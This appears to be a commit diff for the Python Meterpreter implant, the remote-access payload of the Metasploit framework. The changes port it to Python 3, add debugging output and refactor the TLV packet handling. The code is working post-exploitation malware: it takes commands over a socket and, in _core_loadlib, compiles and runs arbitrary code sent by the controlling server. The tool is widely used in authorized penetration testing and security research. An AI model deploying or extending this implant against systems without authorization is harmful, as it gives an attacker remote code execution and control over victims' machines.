1
1
#!/usr/bin/python
2
2
import code
3
- try :
4
- import ctypes
5
- except :
6
- has_windll = False
7
- else :
8
- has_windll = hasattr (ctypes , 'windll' )
9
-
10
3
import os
11
4
import random
12
5
import select
15
8
import subprocess
16
9
import sys
17
10
import threading
11
+ import traceback
12
+
13
+ try :
14
+ import ctypes
15
+ except ImportError :
16
+ has_windll = False
17
+ else :
18
+ has_windll = hasattr (ctypes , 'windll' )
18
19
19
20
if sys .version_info [0 ] < 3 :
20
- bytes = str
21
+ is_bytes = lambda obj : issubclass (obj .__class__ , str )
22
+ bytes = lambda * args : str (* args [:1 ])
23
+ NULL_BYTE = '\x00 '
24
+ else :
25
+ is_bytes = lambda obj : issubclass (obj .__class__ , bytes )
26
+ str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
27
+ NULL_BYTE = bytes ('\x00 ' , 'UTF-8' )
21
28
22
29
#
23
30
# Constants
24
31
#
32
+ DEBUGGING = False
33
+
25
34
PACKET_TYPE_REQUEST = 0
26
35
PACKET_TYPE_RESPONSE = 1
27
36
PACKET_TYPE_PLAIN_REQUEST = 10
103
112
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
104
113
105
114
EXPORTED_SYMBOLS = {}
115
+ EXPORTED_SYMBOLS ['DEBUGGING' ] = DEBUGGING
106
116
107
117
def export (symbol ):
108
118
EXPORTED_SYMBOLS [symbol .__name__ ] = symbol
@@ -128,25 +138,6 @@ def inet_pton(family, address):
128
138
return '' .join (map (chr , lpAddress [8 :24 ]))
129
139
raise Exception ('no suitable inet_pton functionality is available' )
130
140
131
- @export
132
- def packet_get_tlv (pkt , tlv_type ):
133
- offset = 0
134
- while (offset < len (pkt )):
135
- tlv = struct .unpack ('>II' , pkt [offset :offset + 8 ])
136
- if (tlv [1 ] & ~ TLV_META_TYPE_COMPRESSED ) == tlv_type :
137
- val = pkt [offset + 8 :(offset + 8 + (tlv [0 ] - 8 ))]
138
- if (tlv [1 ] & TLV_META_TYPE_STRING ) == TLV_META_TYPE_STRING :
139
- val = val .split ('\x00 ' , 1 )[0 ]
140
- elif (tlv [1 ] & TLV_META_TYPE_UINT ) == TLV_META_TYPE_UINT :
141
- val = struct .unpack ('>I' , val )[0 ]
142
- elif (tlv [1 ] & TLV_META_TYPE_BOOL ) == TLV_META_TYPE_BOOL :
143
- val = bool (struct .unpack ('b' , val )[0 ])
144
- elif (tlv [1 ] & TLV_META_TYPE_RAW ) == TLV_META_TYPE_RAW :
145
- pass
146
- return {'type' :tlv [1 ], 'length' :tlv [0 ], 'value' :val }
147
- offset += tlv [0 ]
148
- return {}
149
-
150
141
@export
151
142
def packet_enum_tlvs (pkt , tlv_type = None ):
152
143
offset = 0
@@ -155,7 +146,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
155
146
if (tlv_type == None ) or ((tlv [1 ] & ~ TLV_META_TYPE_COMPRESSED ) == tlv_type ):
156
147
val = pkt [offset + 8 :(offset + 8 + (tlv [0 ] - 8 ))]
157
148
if (tlv [1 ] & TLV_META_TYPE_STRING ) == TLV_META_TYPE_STRING :
158
- val = val .split (' \x00 ' , 1 )[0 ]
149
+ val = val .split (NULL_BYTE , 1 )[0 ]
159
150
elif (tlv [1 ] & TLV_META_TYPE_UINT ) == TLV_META_TYPE_UINT :
160
151
val = struct .unpack ('>I' , val )[0 ]
161
152
elif (tlv [1 ] & TLV_META_TYPE_BOOL ) == TLV_META_TYPE_BOOL :
@@ -166,25 +157,37 @@ def packet_enum_tlvs(pkt, tlv_type = None):
166
157
offset += tlv [0 ]
167
158
raise StopIteration ()
168
159
160
+ @export
161
+ def packet_get_tlv (pkt , tlv_type ):
162
+ try :
163
+ tlv = list (packet_enum_tlvs (pkt , tlv_type ))[0 ]
164
+ except IndexError :
165
+ return {}
166
+ return tlv
167
+
169
168
@export
170
169
def tlv_pack (* args ):
171
170
if len (args ) == 2 :
172
171
tlv = {'type' :args [0 ], 'value' :args [1 ]}
173
172
else :
174
173
tlv = args [0 ]
175
174
data = ""
176
- if (tlv ['type' ] & TLV_META_TYPE_STRING ) == TLV_META_TYPE_STRING :
177
- data = struct .pack ('>II' , 8 + len (tlv ['value' ]) + 1 , tlv ['type' ]) + tlv ['value' ] + '\x00 '
178
- elif (tlv ['type' ] & TLV_META_TYPE_UINT ) == TLV_META_TYPE_UINT :
175
+ if (tlv ['type' ] & TLV_META_TYPE_UINT ) == TLV_META_TYPE_UINT :
179
176
data = struct .pack ('>III' , 12 , tlv ['type' ], tlv ['value' ])
180
177
elif (tlv ['type' ] & TLV_META_TYPE_BOOL ) == TLV_META_TYPE_BOOL :
181
- data = struct .pack ('>II' , 9 , tlv ['type' ]) + chr (int (bool (tlv ['value' ])))
182
- elif (tlv ['type' ] & TLV_META_TYPE_RAW ) == TLV_META_TYPE_RAW :
183
- data = struct .pack ('>II' , 8 + len (tlv ['value' ]), tlv ['type' ]) + tlv ['value' ]
184
- elif (tlv ['type' ] & TLV_META_TYPE_GROUP ) == TLV_META_TYPE_GROUP :
185
- data = struct .pack ('>II' , 8 + len (tlv ['value' ]), tlv ['type' ]) + tlv ['value' ]
186
- elif (tlv ['type' ] & TLV_META_TYPE_COMPLEX ) == TLV_META_TYPE_COMPLEX :
187
- data = struct .pack ('>II' , 8 + len (tlv ['value' ]), tlv ['type' ]) + tlv ['value' ]
178
+ data = struct .pack ('>II' , 9 , tlv ['type' ]) + bytes (chr (int (bool (tlv ['value' ]))), 'UTF-8' )
179
+ else :
180
+ value = tlv ['value' ]
181
+ if not is_bytes (value ):
182
+ value = bytes (value , 'UTF-8' )
183
+ if (tlv ['type' ] & TLV_META_TYPE_STRING ) == TLV_META_TYPE_STRING :
184
+ data = struct .pack ('>II' , 8 + len (value ) + 1 , tlv ['type' ]) + value + NULL_BYTE
185
+ elif (tlv ['type' ] & TLV_META_TYPE_RAW ) == TLV_META_TYPE_RAW :
186
+ data = struct .pack ('>II' , 8 + len (value ), tlv ['type' ]) + value
187
+ elif (tlv ['type' ] & TLV_META_TYPE_GROUP ) == TLV_META_TYPE_GROUP :
188
+ data = struct .pack ('>II' , 8 + len (value ), tlv ['type' ]) + value
189
+ elif (tlv ['type' ] & TLV_META_TYPE_COMPLEX ) == TLV_META_TYPE_COMPLEX :
190
+ data = struct .pack ('>II' , 8 + len (value ), tlv ['type' ]) + value
188
191
return data
189
192
190
193
#@export
@@ -254,7 +257,7 @@ def __init__(self, socket):
254
257
self .channels = {}
255
258
self .interact_channels = []
256
259
self .processes = {}
257
- for func in filter (lambda x : x .startswith ('_core' ), dir (self )):
260
+ for func in list ( filter (lambda x : x .startswith ('_core' ), dir (self ) )):
258
261
self .extension_functions [func [1 :]] = getattr (self , func )
259
262
self .running = True
260
263
@@ -360,13 +363,13 @@ def _core_loadlib(self, request, response):
360
363
data_tlv = packet_get_tlv (request , TLV_TYPE_DATA )
361
364
if (data_tlv ['type' ] & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED :
362
365
return ERROR_FAILURE
363
- preloadlib_methods = self .extension_functions .keys ()
366
+ preloadlib_methods = list ( self .extension_functions .keys () )
364
367
symbols_for_extensions = {'meterpreter' :self }
365
368
symbols_for_extensions .update (EXPORTED_SYMBOLS )
366
369
i = code .InteractiveInterpreter (symbols_for_extensions )
367
370
i .runcode (compile (data_tlv ['value' ], '' , 'exec' ))
368
- postloadlib_methods = self .extension_functions .keys ()
369
- new_methods = filter (lambda x : x not in preloadlib_methods , postloadlib_methods )
371
+ postloadlib_methods = list ( self .extension_functions .keys () )
372
+ new_methods = list ( filter (lambda x : x not in preloadlib_methods , postloadlib_methods ) )
370
373
for method in new_methods :
371
374
response += tlv_pack (TLV_TYPE_METHOD , method )
372
375
return ERROR_SUCCESS , response
@@ -484,17 +487,22 @@ def create_response(self, request):
484
487
reqid_tlv = packet_get_tlv (request , TLV_TYPE_REQUEST_ID )
485
488
resp += tlv_pack (reqid_tlv )
486
489
487
- handler_name = method_tlv ['value' ]
490
+ handler_name = str ( method_tlv ['value' ])
488
491
if handler_name in self .extension_functions :
489
492
handler = self .extension_functions [handler_name ]
490
493
try :
491
- #print("[*] running method {0}".format(handler_name))
494
+ if DEBUGGING :
495
+ print ("[*] running method {0}" .format (handler_name ))
492
496
result , resp = handler (request , resp )
493
497
except Exception :
494
- #print("[-] method {0} resulted in an error".format(handler_name))
498
+ if DEBUGGING :
499
+ print ("[-] method {0} resulted in an error" .format (handler_name ))
500
+ exc_type , exc_value , exc_traceback = sys .exc_info ()
501
+ traceback .print_exception (exc_type , exc_value , exc_traceback , file = sys .stderr )
495
502
result = ERROR_FAILURE
496
503
else :
497
- #print("[-] method {0} was requested but does not exist".format(handler_name))
504
+ if DEBUGGING :
505
+ print ("[-] method {0} was requested but does not exist" .format (handler_name ))
498
506
result = ERROR_FAILURE
499
507
resp += tlv_pack (TLV_TYPE_RESULT , result )
500
508
resp = struct .pack ('>I' , len (resp ) + 4 ) + resp
0 commit comments